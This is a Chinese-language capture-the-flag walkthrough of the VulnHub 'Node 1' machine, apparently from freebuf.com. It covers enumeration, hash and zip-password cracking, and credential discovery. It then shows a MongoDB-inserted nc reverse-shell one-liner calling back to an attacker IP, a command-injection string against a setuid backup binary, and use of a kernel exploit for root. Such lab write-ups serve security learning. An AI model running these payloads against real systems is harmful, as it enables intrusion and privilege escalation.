靶机地址:https://www.vulnhub.com/entry/node-1,252/
靶机难度:中级(CTF)
靶机发布日期:2018年8月7日
靶机描述:
节点是中等级别的boot2root挑战,最初是为HackTheBox创建的。有两个标志(用户和根标志)和多种不同的技术可以使用。OVA已在VMware和Virtual Box上进行了测试
目标:得到root权限&找到flag.txt
作者:DXR嗯嗯呐
信息收集
nmap扫描靶机IP
nmap扫描端口
22 ssh
3000 hadoop-tasktracker Apache
访问3000端口
我们在界面上看到了三个名字,可能会是用户名:tom、mark、rastating
使用sqlmap、dirb、gobuster、nikto分别测试都未发现漏洞,查看网页源代码,我们看到了几个js。
分别看了这几个js,感觉像是在前端校验登陆,在assets/js/app/controllers/profile.js中看到了关于用户字眼的目录,访问以下看看
访问/api/users/,我们看到了json字符串,看到了账号密码
密码像是md5加密,解密以下看看
myP14ceAdm1nAcc0uNT/manchester
登陆成功
下载备份,看到文件内容是base64加密
使用base64 -d 解码输出一个文件内
将文件打开看了一下,是乱码,file看一下文件类型是zip压缩包
改一下文件格式,使用unzip解压看一下,发现需要密码
我们前面学习的过程中使用后压缩包解密的一个程序fcrackzip ,使用fcrackzip 解密
Fcrackzip是一款专门破解zip类型压缩文件密码的工具,工具小巧方便、破解速度快,能使用字典和指定字符集破解,适用于linux、mac osx 系统。
- -u 用zip去尝试
- -D 使用字典
- -p 使用字符串作为初始密码/文件
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip
真的很快,使用密码解压看看
去对应目录下看看去
我们看了app.js文件,在node.js中app.js是项目入口及程序启动文件,十分重要,我么看一下文件内容,我们找到了mongodb数据库的mark用户的账号密码,但是kail连接不上mongodb,先使用ssh连接测试一下。
mark/5AYRft73VtFpc84k
提权
backup程序漏洞提权
ssh登陆成功
检查发现需要一个user.txt文件和一个backup程序,都是tom权限的,看一下怎么提权到tom用户
查一下tom运行的程序
ps -ef | grep tom
我们检查app.js文件是看到了 exec函数执行tasks表中cmd字段的数据,每三十秒调用setInterval函数执行一次,我也不太懂,有兴趣的同学可以参考Node.js MongoDB部分
如果是这样的话,就我们就可以将反弹shell插入到MongoDB数据库的tasks表中,这个脚本会自动执行,连接MongoDB,进去scheduler数据库
有兴趣的同学可以参考mongodb连接部分
mongo -u mark -p 5AYRft73VtFpc84k scheduler
令查看已存在的表
show tables;
我们看到了表,查看一下表内容,现在表中无文档
db.tasks.find();
将反弹shell插入文档
db.tasks.insert({cmd:”rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.16.143 6666 >/tmp/f”});
kail监听666端口,获得tom用户shell
在tom用户下,看到了users.txt用户
我们再去看backup程序
strings backup
之后我不太明白怎么利用了,找到前辈的脚本之后获得root权限,如果有兴趣请参考
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 “$(echo ‘/any_directory\n/bin/bash\nany_command’)”
注意:此命令不可以在伪终端内不起作用,必须先进入/bin/sh未获得tty时执行。
ubuntu 16.04内核漏洞提权
查看内核版本,发现ubuntu 16.04,应该可以直接提权
查一下对应的exp
上传exp到靶机,gcc编译,完成提权,获得root权限
完成!!!
总结
1、nmap扫描靶机IP和端口,访问3000端口,查看网页源代码,审计发现/api/users目录,获得web登陆信息,登陆下载备份包。
2、base64解码备份包,fcrackzip爆破ZIP压缩包密码,unzip解压,在app.js文件中获得mongodb登陆方式。
3、使用mongodb的用户密码,ssh登陆成功,查看tom用户运行的程序,查看app.js文件。发现tom用户的node脚本定时执行mongodb数据库中tasks表的内容。
4、将反弹shell插入tasks表,tom用户自动执行获得tom用户shell,获得users.txt文件。
5、利用用户root的SID权限的backup程序,因为程序所属组中包含tom用户,执行特定脚本,获得root权限,获得root.txt.文件。
6、利用ubuntu 16. 04 内核漏洞,利用44298.c exp,直接在mark用户提权,获得root权限,获得root.txt.文件。
来源:freebuf.com 2021-01-24 23:54:15 by: DXR嗯嗯呐
请登录后发表评论
注册